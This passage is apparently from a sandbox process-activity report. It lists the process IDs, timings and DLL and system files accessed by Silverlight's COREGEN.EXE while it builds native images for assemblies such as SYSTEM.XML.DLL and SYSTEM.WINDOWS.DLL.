        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.NI.DLL
        
        3412
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.XML.DLL
        
        Time lapse
        
        44.492682
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        
        3164
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.RUNTIME.SERIALIZATION.DLL
        
        Time lapse
        
        44.898281
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
        
        2976
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.SERVICEMODEL.WEB.DLL
        
        Time lapse
        
        45.584683
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.WEB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.WEB.NI.DLL
        
        3596
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MICROSOFT.XNA.FRAMEWORK.DLL
        
        Time lapse
        
        45.803084
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.NI.DLL
        
        1836
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MICROSOFT.XNA.FRAMEWORK.GRAPHICS.DLL
        
        Time lapse
        
        45.959084
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.NI.DLL
        
        3684
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" MICROSOFT.XNA.FRAMEWORK.GRAPHICS.SHADERS.DLL
        
        Time lapse
        
        46.255486
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.SHADERS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.SHADERS.NI.DLL
        
        3760
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.DLL
        
        Time lapse
        
        46.489485
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORRC.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.NI.DLL
        
        3668
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.WINDOWS.XNA.DLL
        
        Time lapse
        
        48.533089
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.XNA.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.GRAPHICS.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MICROSOFT.XNA.FRAMEWORK.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.XML.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.WINDOWS.XNA.NI.DLL
        
        3740
        
        Image path
        
        "C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE" SYSTEM.SERVICEMODEL.DLL
        
        Time lapse
        
        48.813889
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\CORECLR.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\MSCORLIB.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.SERVICEMODEL.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.NET.NI.DLL
        C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\SYSTEM.CORE.DLL
